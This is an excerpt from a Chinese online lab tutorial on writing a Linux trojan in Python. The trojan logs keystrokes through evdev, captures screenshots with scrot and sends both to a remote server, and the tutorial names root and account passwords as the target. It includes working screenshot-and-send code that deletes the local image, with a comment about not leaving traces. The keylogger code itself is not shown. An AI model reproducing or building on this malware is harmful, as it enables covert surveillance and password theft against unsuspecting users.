说明:文章所有内容均截选自实验楼教程【Python开发木马程序】~
一、前言:
1.1 实验内容
木马程序会给普通用户带来很多危害,比如盗取QQ账号,游戏账号等。课程将用Python实现一个简易的木马程序,该程序会记录用户的键盘输入和屏幕截图并将数据发送到指定的服务器。通过分析键盘输入的数据,可以分析出root密码和其他账号的密码等等。
1.2 实验知识点
- linux设备文件
- linux下Python多进编程
- Python调用外部程序
- Python socket网络编程
-
evdev
库的使用 - Python实现键盘记录和
1.3 参考代码获取
你可以通过下面命令将代码下载到实验楼环境或者本地Linux环境中,作为参照对比进行学习。
wget http://labfile.oss.aliyuncs.com/courses/853/trojan.tar.gz
tar -xvf trojan.tar.gz
二、实验原理
input子系统是linux kernel中与外部输入设备联系比较紧密的模块,例如我们的键盘设备会映射到/dev/input目录下的某个设备文件,由于键盘属于字符设备,所以我们可以将其当做普通的文件来操作(比如read、write)。通过不断的读取键盘设备文件,就可以完全获取到用户的键盘输入。注意该程序无法运行在windows和macos系统下。
三、开发准备
首先打开xface, 安装实验所需要的第三方库evdev
(linux下input输入子系统访问的api库)
sudo apt-get update
sudo apt-get install python-dev
sudo pip install evdev
然后安装命令行的截屏工具scrot
sudo apt-get install scrot
四、流程梳理
4.1 记录键盘输入功能
键盘输入功能模块主要按照以下流程去设计与实现
- 找到
/dev/input/
目录下对应的键盘设备 - 使用
evdev
库获取键盘记录的原始数据 - 对原始数据进行解码处理加入到
字符缓冲区
- 在
字符缓冲区
冲处理Backspace
、Left
、Right
等特殊按键操作 - 将缓冲区中的内容通过
socket
套接字接口传输到远程服务器
由于运行在docker容器中的linux没有输入子系统,可以借助X11
来记录键盘输入
详细文档可以参考。本文重点介绍基于Linux输入子系统的代码实现。
4.2程序总体设计
程序主要分为两个大的功能:
- 键盘记录
- 屏幕截图
可以看出这两个功能是完全不相关的,为了达到并行运行的效果,一半情况下采用
多线程技术,由于屏幕截图功能基于Python调用外部程序执行,运行期间会产生
一个子进程用来执行外部程序。所以我们直接采用多进程
来实现。
五、实验步骤
5.1 屏幕截图
屏幕截图功能使用了Python调用外部程序技术,常用的库用subprocess
、os.system
,commands
等,在这里我们使用了commands
库,等多的用法可以参考这篇博客。为了让大家对程序理解更深入,请根据注释中的提示完成相应的扩展功能作为练习。代码详情见screenshot.py
,该代码可以直接执行。
from task import send_pic_task
def screen_shot(file_name='screen_shot', file_type='png'):
"""
本程序未实现指定图片存储的路径,用户自行实现该扩展功能
借助os.path.join函数
"""
print u'3秒过后截图'
time.sleep(3)
# 调用外部程序
# 因为服务端代代码也是运行在本机,如果名字一样。那么os.remove操作可能会导致
# 在本地看不到效果
ret = commands.getstatusoutput("scrot " + file_name + 'tmp.' + file_type)
if ret[0] != 0:
print u"图片类型不支持,请换用png jpg等常用格式"
return
# 读取图像的二进制文件,进行网络传输
with open(file_name + 'tmp.' + file_type, "rb") as fp:
send_pic_task(fp.read(), file_name, file_type)
# 删除scrot生成的图片,作为黑客可不能留下痕迹啊
os.remove(file_name + 'tmp.' + file_type)
print u'发送屏幕截图完成'
5.2 键盘输入记录功能
- 5.2.1 找到所有的键盘设备
- 5.2.2 使用evdev获取键盘输入的数据
- 5.2.3 解析evdev获取的原始数据
- 5.2.4 字符缓冲区处理Backspace, Left, Right特殊按键
- 5.2.5 数据进行网络传输
- 5.2.6 运行程序
这部分内容,点击教程:【Python开发木马程序】即可查看~
网友评论